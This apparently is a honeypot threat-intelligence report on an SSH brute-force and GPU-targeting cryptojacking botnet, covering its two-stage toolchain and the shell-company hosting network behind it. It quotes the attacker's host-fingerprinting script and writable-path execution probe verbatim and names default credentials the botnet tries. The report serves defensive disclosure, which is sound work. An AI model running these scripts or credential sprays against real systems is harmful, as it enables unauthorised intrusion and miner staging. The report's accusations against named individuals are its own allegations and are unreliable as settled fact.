📋 Executive Summary

Stage 1 — Go-Based Credential Spray

The primary scanner (94.154.35.215, geolocated Ukraine) runs a Go-based SSH client (SSH-2.0-Go, HASSH 5f904648ee8964bef0e8834012e26003) that brute-forces credentials at high volume. In 12 days, this single IP logged 560 sessions using predominantly admin:admin (710 successes across the network). The scanner authenticates, confirms the shell is live, and disconnects without executing commands — its sole purpose is credential validation at scale.

Stage 2 — libssh2 Exploitation Tool (The GPU Hunter)

Three IPs running SSH-2.0-libssh2_1.8.1 and SSH-2.0-libssh2_1.10.0 connect to previously-validated hosts and execute a single massive fingerprinting command followed by a writable-path execution test. The payload is architecturally identical across all three IPs — same command structure, same variable names, same output format — proving a single toolchain.

The Fingerprinting Payload (Verbatim)

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH

# System identification
uname=$(uname -s -v -n -m 2>/dev/null)
arch=$(uname -m 2>/dev/null)
uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1)

# CPU enumeration (multiple fallbacks)
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || \
       grep -c "^processor" /proc/cpuinfo 2>/dev/null | head -1)
cpu_model=$(grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | \
            sed 's/^ *//;s/ *$//' ; lscpu | awk -F: '/Model name/ ...' ; \
            dmidecode -s processor-version 2>/dev/null | head -n1)

# 🎯 GPU ENUMERATION — THE SMOKING GUN
gpu_info=$( (lspci 2>/dev/null | grep -i vga; \
             lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50)

# Coreutils detection (BusyBox vs GNU = IoT vs server)
cat_help=$(cat --help 2>&1 | tr '\n' ' ')
ls_help=$(ls --help 2>&1 | tr '\n' ' ')

# Operational awareness (who else logged in?)
last_output=$(last 2>/dev/null | head -n 10)

# Structured output for C2 parsing
echo "UNAME:$uname"
echo "ARCH:$arch"
echo "UPTIME:$uptime"
echo "CPUS:$cpus"
echo "CPU_MODEL:$cpu_model"
echo "GPU:$gpu_info"
echo "CAT_HELP:$cat_help"
echo "LS_HELP:$ls_help"
echo "LAST:$last_output"

Immediately after fingerprinting, the tool tests writable paths for script execution:

# Writable path + execution test
for d in "$HOME" /var/tmp /tmp /dev/shm; do
  f="$d/.x$$.sh"                          # Hidden file, PID-named
  echo 'echo 0' > "$f" 2>/dev/null &&     # Write test
  chmod +x "$f" 2>/dev/null &&            # Execute permission
  [ "$("$f" 2>/dev/null)" = "0" ] &&      # Execution test
  /bin/rm -rf "$f" && exit 0              # Clean up, report success
  /bin/rm -rf "$f"
done; exit 1                               # No writable+exec path found

The path test checks $HOME, /var/tmp, /tmp, and /dev/shm in order — if any allows write + execute, the bot reports success (exit 0) and the C2 knows where to stage the miner binary. The file is PID-named (.x$$.sh) and immediately deleted — anti-forensics.

The GPU enumeration is not generic reconnaissance. It specifically targets NVIDIA (the grep -i nvidia after VGA detection). This narrows the likely payload to one of:

• XMRig with CUDA — Monero mining on NVIDIA GPUs (most common cryptojacker)
• T-Rex / NBMiner — Multi-algorithm GPU miners (ETH/RVN/ERGO)
• AI compute theft — Less likely but emerging: stealing GPU cycles for LLM inference/training

The CPU model + core count enumeration ensures the operator can also deploy CPU miners on hosts without GPUs — but GPU hosts will receive specialized payloads with dramatically higher returns. A single stolen RTX 4090 mines ~$2.50/day in Monero; a compromised AI training cluster with 8× A100s yields $50+/day. The last output tells the operator how many other administrators log in (risk of detection) and the uptime tells them how stable the host is (longer uptime = longer mining window).

The use of Go for the scanner (fast, compiled, single binary, native concurrency) and libssh2 (C library, low-level control) for exploitation is a mature toolchain choice. Go's goroutine model excels at high-throughput credential spraying; libssh2 provides the fine-grained session control needed for multi-command exploitation sequences.

The infrastructure follows a classic bulletproof hosting laundering pattern designed to make takedown requests disappear in jurisdictional gaps:

The Pfcloud Network — 10+ Customer ASNs

Pfcloud UG (haftungsbeschränkt) — a German limited-liability micro-company — operates as a Local Internet Registry (LIR) sponsoring at least 10 downstream ASNs. This is the "Whitelabel Solutions" model: one LIR, many shell-company clients, jurisdictional arbitrage:

🚩 Red Flags: Seychelles registration (notorious shell jurisdiction), "Room 303" virtual office address (identical pattern to W1N LTD in TI-2026-001), German UG company (€1 minimum capital, trivial to register), Israeli operator with Bavarian address, abuse@omegatech.sc as sole abuse contact (round-trips to the operator), RIPE LIR model enables launching new ASNs within days.

Only 7 of 5,120 available IPs were observed attacking our honeypot — the operator has massive reserve capacity. Parent allocations show the IP blocks were originally assigned as "Private Customer" through Turkish networks (TR-MGN), now re-announced under the Seychelles shell. This is IP space laundering: old allocations, new shell company, same infrastructure.

The identical exploitation payload (same command structure, same variable names, same output format) was observed from IPs on different ASNs — proving the toolchain is distributed beyond AS202412:

These are likely compromised VPS instances running the same toolkit, or additional scanner nodes the operator rents on legitimate cloud providers to supplement the Omegatech infrastructure. The DigitalOcean, Scaleway, E2E Networks, and Hetzner IPs all executed the byte-identical payload with the same structured output format.

The ~60 sessions/day cadence over 12 consecutive days with no weekend breaks indicates automated, unattended operation. The exploitation tool runs on verified-credential hosts within minutes of the scanner's success — suggesting a shared queue/database between the two stages.

The operator's credential list is deliberately short — targeting default/unchanged passwords on IoT devices, VPS templates, and misconfigured servers:

The admin:admin dominance (94% of successes) targets network appliances, NAS devices, and web admin panels exposed via SSH. The inclusion of pi:raspberry confirms IoT/Raspberry Pi targeting — devices likely to have GPUs attached for AI/edge-computing projects.

• Firewall: Block all 20 announced prefixes of AS202412 at your network edge. The entire ASN is dedicated to malicious operations.
• SSH hardening: Disable password authentication entirely. Use key-based auth only. The operator's credential list targets only password auth.
• HASSH monitoring: Alert on SSH-2.0-Go connections from non-internal IPs. While Go SSH clients exist legitimately, the combination of Go client + default credentials + rapid session cycling is highly indicative.
• Process monitoring: Watch for lspci | grep -i nvidia executed by non-admin users or in non-interactive sessions. Legitimate administrators don't enumerate GPUs via automated SSH sessions.
• File integrity: Monitor for hidden files in /tmp, /var/tmp, /dev/shm matching .x*.sh pattern — the path-probe leaves a brief forensic footprint.
• BGP filtering: If operating an AS, consider filtering AS202412 routes at the BGP level. The ASN was registered January 2026 and has no legitimate traffic profile.

Addendum (2026-05-07): Extended OSINT investigation into the corporate and human networks behind OMEGATECH LTD and Pfcloud UG revealed a sophisticated bulletproof hosting operation spanning 14+ jurisdictions with potential Iran sanctions violations.

┌─────────────────────────────────────────────────────────────────────────────┐
│  LAYER 1: TRANSIT (Legitimate German/French providers)                      │
│                                                                             │
│  ┌─────────────────────┐  ┌─────────────────────┐  ┌─────────────────────┐ │
│  │ aurologic GmbH      │  │ Tube-Hosting        │  │ OVH SAS             │ │
│  │ AS30823 · 🇩🇪        │  │ AS49581 · 🇩🇪        │  │ AS16276 · 🇫🇷        │ │
│  │ 8Tbps · DDoS/GRE    │  │ Ferdinand Zink      │  │ French cloud giant   │ │
│  └──────────┬──────────┘  └──────────┬──────────┘  └──────────┬──────────┘ │
│             │                         │                         │            │
├─────────────┼─────────────────────────┼─────────────────────────┼────────────┤
│  LAYER 2: LIR / IP ALLOCATION                                               │
│             │                         │                         │            │
│  ┌──────────▼──────────────────┐      │    ┌────────────────────▼──────┐    │
│  │ Pfcloud UG (AS51396)        │      │    │ Elaunira SARL             │    │
│  │ 🇩🇪🇮🇱🇮🇷 Daniel Mishayev     │      │    │ 🇫🇷 Cagnes-sur-Mer         │    │
│  │ Hauzenberg + TEHRAN address │      │    │ Sponsors Kraken ASN       │    │
│  │ WHITELABEL-MNT maintainer   │      │    └────────────────────┬──────┘    │
│  └──┬──────────┬──────────┬────┘      │                         │            │
│     │          │          │           │                         │            │
├─────┼──────────┼──────────┼───────────┼─────────────────────────┼────────────┤
│  LAYER 3: SHELL COMPANIES (End-user ASNs)                                    │
│     │          │          │           │                         │            │
│  ┌──▼───────┐  │  ┌───────▼─────┐  ┌─▼────────────────────┐  ┌▼─────────┐  │
│  │OMEGATECH │  │  │ SWISSNET    │  │ FROSTYHOSTING        │  │ KRAKEN   │  │
│  │AS202412  │  │  │ LLC (🇺🇸 KY) │  │ Ivan Belenkii (🇷🇺)   │  │ AS209274 │  │
│  │🇸🇨 Shell  │  │  └─────────────┘  └──────────────────────┘  │ 🇬🇧🇷🇸     │  │
│  │20 /24s   │  │                                              │ N.Sibul  │  │
│  └──┬───────┘  │  ┌─────────────┐  ┌──────────────────────┐  └──────────┘  │
│     │          │  │ WEHOST LLC  │  │ SUMMITARC MARKETING  │                 │
│     │          │  │ 🇺🇸 Louisville│  │ 🇬🇧 71-75 Shelton St   │                 │
│     │          │  └─────────────┘  │ (notorious v.office) │                 │
│     │          │                   └──────────────────────┘                 │
│     │          │  ┌─────────────┐  ┌──────────────────────┐                 │
│     │          └──│ Buzzster Ltd│  │ Charged IT Solutions │                 │
│     │             │ 🇬🇧 Manchester│  │ 🇺🇸 Scottsdale, AZ    │                 │
│     │             └─────────────┘  └──────────────────────┘                 │
├─────┼───────────────────────────────────────────────────────────────────────┤
│  LAYER 4: OPERATIONAL (Observed malicious activity)                          │
│     │                                                                       │
│  ┌──▼────────────────────────────────────────────────────────────────────┐  │
│  │  GPU-TARGETING CRYPTOJACKING BOTNET                                    │  │
│  │  752 SSH sessions · 7 IPs · Go scanner + libssh2 exploitation          │  │
│  │  Also observed on: DigitalOcean, Scaleway, E2E Networks, Hetzner       │  │
│  └───────────────────────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────────────────────┘